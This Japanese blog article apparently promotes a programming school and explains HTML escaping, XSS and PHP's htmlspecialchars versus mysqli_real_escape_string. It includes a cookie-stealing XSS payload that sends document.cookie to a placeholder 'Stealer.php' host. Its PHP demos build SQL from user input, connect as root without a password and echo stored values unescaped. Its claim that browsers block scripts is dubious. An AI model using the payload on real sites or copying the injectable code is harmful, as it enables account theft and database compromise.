【Web関係者全員必見】HTMLのエスケープ



【Web関係者全員必見】HTMLのエスケープ

一昔前までは Web開発者にしか関係なかった「エスケープ」。
しかし、近年の IT産業発展に伴って、「エスケープ」は開発者以外のマーケティング担当者や Webライターにも関係してくるように。
今回は、Webにおける「エスケープ」全般の情報をお届けさせて頂きます。

目次
  1. 【Web関係者全員必見】HTMLのエスケープ
  2. エスケープとは
  3. 今時のエスケープ事情
  4. エスケープ処理について
  5. エンジニア以外もエスケープを知っておく理由
  6. まとめ

【Web関係者全員必見】HTMLのエスケープ

エスケープとは

image

エスケープ(escape)は、日本語で「逃亡、脱出」を意味し、Webにおいては半角記号・・・・を変換もしくは削除する機能のことです。エスケープが使われている例としては、

  • ブログのコメント機能
  • ユーザー登録やログインの入力画面
  • SNSの入力欄
  • HTMLメール

など、文字や記号の入力が伴うところ。例えば、WordPressのコメント投稿。

image

半角記号の < や > を入力しても、自動的に消されています。

こうした場所で「エスケープ」しないといけない理由としては、「意図しない挙動が起こる」かもしれないからです。 例えば、JavaScriptの

<script>alert('XSSの危険')</script>

というコードをコメントとして受け付けた場合、Webサイトはどのような動きをすると思いますか? Web開発者・管理者の方ではポップアップ表示を設定していないのに、勝手に「XSSの危険」というポップが表示されてしまいます。

image

これはかわいいイタズラに過ぎませんが、

<script>window.open("https://codecamp.jp");</script>

のコードをコメントとして受け付けると、自動的にサイト移動が促されますし、

<script>location.href = ‘http://www.〇〇○.com/Stealer.php?cookie=’+document.cookie;</script>

こちらを受け付けると cookie情報を盗まれて、不正ログインを可能にします。その結果、ユーザー情報を抜き取られたり、フィッシングサイトに誘導されたりして、経済的被害が発生する可能性がある、ということですね。(XSS攻撃)

近年は大きな被害を見受けしませんが、2010年には YouTubeがアタック(XSS)されて、意図しないポップアップ表示が実行されたと報告されています。また国内においては、2014年に KADOKAWA のホームページが改ざん被害(XSS)。

近年 XSS 被害が減っている理由としては、開発プラットフォームのセキュリティ向上が挙げられます。今時のエスケープについてすこしご紹介しますね。


<< エスケープ対象の半角記号 >>
エスケープ前 → エスケープ後
< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &#39;

今時のエスケープ事情

image

Web開発をする方にとって「エスケープ」が重要なセキュリティ・ファクターであることは分かりましたが、実は、それほど過敏になる必要はないかもしれません。それは WordPress や Ruby on Rails、Django といった CMS や フレームワークには標準で「エスケープ機能」が付いているからです。特別ナニもしなくても、エスケープしてくれますよ。

<< WordPress、Rails、Djangoのエスケープの様子 >>

<< WordPress >>
コメントに <script>alert('Hacking')</script> を入力しても、<script> が自動削除されています。

<< Ruby on Rails >>
コメントに <script>alert('Hacking')</script> を入力しても、&lt;script&gt;alert('Hacking')&lt;/script&gt; に自動変換されています。

<< Django >>
デフォルトでエスケープ処理されています。

また最近はブラウザでも不適切な値が入力されると、データ入力を拒否してくれますね。下記の PHP コードは、エスケープ処理していませんが、 <script>alert('Hacking')</script> など不適切な文字が入力されると、データベースへ送信される前にシャットアウトされます。ただし、半角の < や > を受け付けるものの、画面に出力されないという不具合に。エスケープ処理すれば、外部からの攻撃に怯えることなく、半角記号の入力値を正しく処理できることでしょう。

<< エスケープなしのPHPコード >>

<?php
  $hostname="localhost";
  $db="escapeTest";
  $Username="root";
  $Password="";
  $conn = mysqli_connect($hostname, $Username, $Password, $db) Or DIR ("データベース接続エラーです。。。");

  if(isset($_POST['submit'])){
    $Name = $_POST['name'];  
    $Memo = $_POST['memo'];
    $sqlQuery="Insert into escape_mysql(name, memo) Values('$Name','$Memo')";

    if (mysqli_query($conn, $sqlQuery))
    {
      echo "投稿完了";
    }
    else {
      echo "投稿失敗";
    }
  }
?>

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
</head>
<body>
  <form method="post">
    <h1>エスケープデモ</h1>
    <hr>
    <table>
      <tr>
        <td>name</td>
        <td><input type="text" name="name"></td>
      </tr>
      <tr>
        <td>memo</td>
        <td><input type="text" name="memo"></td>
      </tr>
    </table>
    <input type="submit" name="submit" value="投稿">
  </form>
<hr>

<h2>メモ一覧</h2>
  <table>
    <thead>
      <tr>
        <th>name</th>
        <th>memo</th>
      </tr>
    </thead>
    <tbody>
      <?php
      $conn = mysqli_connect($hostname, $Username, $Password, $db);
      if($qry = mysqli_query($conn,"SELECT * FROM escape_mysql")){
      while($show = mysqli_fetch_assoc($qry)){
        echo "<tr>";
          echo "<td>".$show['name']."</td>";
          echo "<td>".$show['memo']."</td>";
        echo "</tr>";
      }
      }
      ?>
    </tbody>
  </table>
</body>
</html>

<< 上記コードの実行結果 >>

どうでしょうか?プログラミング言語やフレームワーク、ブラウザによってエスケープされていておもしろいですね。次はもう少し「エスケープ処理」について詳しく見てみます。

エスケープ処理について

image

<< いろいろなエスケープ >>

  • WordPress/ sanitize_○○
  • Ruby on Rails/ html_escape など
  • PHP/ htmlspecialchars() 、 mysqli_real_escape_string() など

上記のようにエスケープ処理は各言語、各フレームワーク、各CMSによってやり方は違ってきますが、今回は恐らく一番ニーズの多い PHPのエスケープ についてご紹介。

PHPのエスケープ方法は、 htmlspecialchars() を使ったエスケープと mysqli_real_escape_string() を使ったエスケープの 2種類あります。

  • htmlspecialchars()/ 半角記号を特殊文字に変換。対 XSS攻撃用。
  • mysqli_real_escape_string()/ 半角記号はそのまま、対 SQLインジェクション攻撃用。

どちらも「エスケープ」というカテゴリは一緒であるものの、処理結果が違ってきます。コメント入力やユーザー情報のエスケープ処理に間違っても mysqli_real_escape_string() を使わないように注意したいですね。 <script>alert('Hacking')</script> が実行されちゃいますよ。

htmlspecialcharsでエスケープ

<?php
  $hostname="localhost";
  $db="escapeTest";
  $Username="root";
  $Password="";

  $conn = mysqli_connect($hostname, $Username, $Password, $db) Or DIR ("データベース接続エラーです。。。");

  if(isset($_POST['submit'])){
    $Name = htmlspecialchars($_POST['name']);  
    $Memo = htmlspecialchars($_POST['memo']);
    $sqlQuery="Insert into escape_mysql(name, memo) Values('$Name','$Memo')";

    if (mysqli_query($conn, $sqlQuery))
    {
      echo "投稿完了";
    }
    else {
      echo "投稿失敗";
    }
  }
?>

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
</head>
<body>
  <form method="post">
    <h1>エスケープデモ</h1>
    <hr>
    <table>
      <tr>
        <td>name</td>
        <td><input type="text" name="name"></td>
      </tr>
      <tr>
        <td>memo</td>
        <td><input type="text" name="memo"></td>
      </tr>
    </table>
    <input type="submit" name="submit" value="投稿">
  </form>
<hr>

<h2>メモ一覧</h2>
  <table>
    <thead>
      <tr>
        <th>name</th>
        <th>memo</th>
      </tr>
    </thead>
    <tbody>
      <?php
      $conn = mysqli_connect($hostname, $Username, $Password, $db);
      if($qry = mysqli_query($conn,"SELECT * FROM escape_mysql")){
      while($show = mysqli_fetch_assoc($qry)){
        echo "<tr>";
          echo "<td>".$show['name']."</td>";
          echo "<td>".$show['memo']."</td>";
        echo "</tr>";
      }
      }
      ?>
    </tbody>
  </table>
</body>
</html>

<< 上記コードの実行結果 >>

image

半角記号の < や > も htmlspecialchars によってエスケープ処理され、データ入力できていますね。


mysqli_real_escape_stringでエスケープ

<?php
  $hostname="localhost";
  $db="escapeTest";
  $Username="root";
  $Password="";
  $conn = mysqli_connect($hostname, $Username, $Password, $db) Or DIR ("データベース接続エラーです。。。");

  if(isset($_POST['submit'])){
    mysqli_select_db($conn,"escape_mysql");
    $Name = mysqli_real_escape_string($conn, $_POST["name"]);
    $Memo = mysqli_real_escape_string($conn, $_POST["memo"]);
    $sqlQuery="Insert into escape_mysql Values('$Name','$Memo')";

    if (mysqli_query($conn, $sqlQuery))
    {
      echo "投稿完了";
    }
    else {
      echo "投稿失敗";
    }
  }
?>

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
</head>
<body>
  <form method="post">
    <h1>エスケープデモ</h1>
    <hr>
    <table>
      <tr>
        <td>name</td>
        <td><input type="text" name="name"></td>
      </tr>
      <tr>
        <td>memo</td>
        <td><input type="text" name="memo"></td>
      </tr>
    </table>
    <input type="submit" name="submit" value="投稿">
  </form>
  <hr>

  <h2>メモ一覧</h2>
  <table>
    <thead>
      <tr>
        <th>name</th>
        <th>memo</th>
      </tr>
    </thead>
    <tbody>
      <?php
      $conn = mysqli_connect($hostname, $Username, $Password, $db);
      if($qry = mysqli_query($conn,"SELECT * FROM escape_mysql")){
      while($show = mysqli_fetch_assoc($qry)){
        echo "<tr>";
          echo "<td>".$show['name']."</td>";
          echo "<td>".$show['memo']."</td>";
        echo "</tr>";
      }
      }
      ?>
    </tbody>
  </table>
</body>
</html>

<< 上記コードの実行結果 >>

image

なんとエスケープしていたつもりが、違う意味のエスケープになっていますね。これでは XSS攻撃を歓迎してしまいます。

htmlspecialcharsmysqli_real_escape_string を間違って使わないように注意しましょう。

さて開発者目線の「エスケープ」はこれぐらいにして、「マーケティング担当者」や「Webライター」にエスケープが必要な理由をご紹介しておきますね。

エンジニア以外もエスケープを知っておく理由

image

マーケティング担当者の方なら「HTMLメール」、Webライターの方なら「半角記号」を使う時にエスケープが関係してきます。

まずは HTMLメールからで、使うメールソフトにもよるかもしれませんが、 Yahoo!メールの場合は、半角記号が自動的に特殊文字の &lt;&gt; に変換。エスケープを知らないと「文字化け?」「バグ?」と間違った対策を取るかもしれません。「HTMLメール」を作成する方は、「エスケープ」知っておいて損はないと思います。

<< Yahoo!メールのエスケープ例 >>

image

次に Webライターですが、どうでしょうか?最近は WordPress以外の Ruby on Rails や Django ベースの投稿管理システムで運営されているところも増えてきたのではないでしょうか?エディタツールにもよるかもしれませんが、こちらの CodeCampus では < を表示しようと思うとエスケープされた特殊記号 &lt; を使う必要があります。「なんで < が表示できないんだろう?」とならないように、業務を円滑にするためにも「エスケープ」知っておきたいですね。

この他にも Facebook は < が自動的に &lt; されていること、 Twitter は違う方法で < をエスケープしていることなど知っておくと、半角記号も安心して使えると思います。

まとめ

インターネット産業の拡大を受けて、多くの方が「エスケープ」と関わるようになってきています。また一方で、ネット上では「XSSゲーム*」や「XSSチュートリアル」といったサイバーアタックを楽しむようなコンテンツも公開中。 確かな知識と対策で被害に合わないように注意したいですね。

今回ご紹介したように PHP のエスケープでは、

  • htmlspecialchars
  • mysqli_real_escape_string

の 2種類が使われました。同じエスケープ処理なのに結果はまったく 逆 でしたよね。「自分では正しいと思っているのに、実はまったく逆のことをしていた」なんてならないように確かな技術を身に着けたいところ。

「独学では不安」「ちょっとわからない」そんな時はプログラミング学習をサポートする CodeCamp を頼ってみませんか? 無料相談・無料レッスンから検討することもできますよ。

オシママサラ
この記事を書いた人
オシママサラ
\ 無料体験開催中!/自分のペースで確実に習得!
オンライン・プログラミングレッスンNo.1のCodeCamp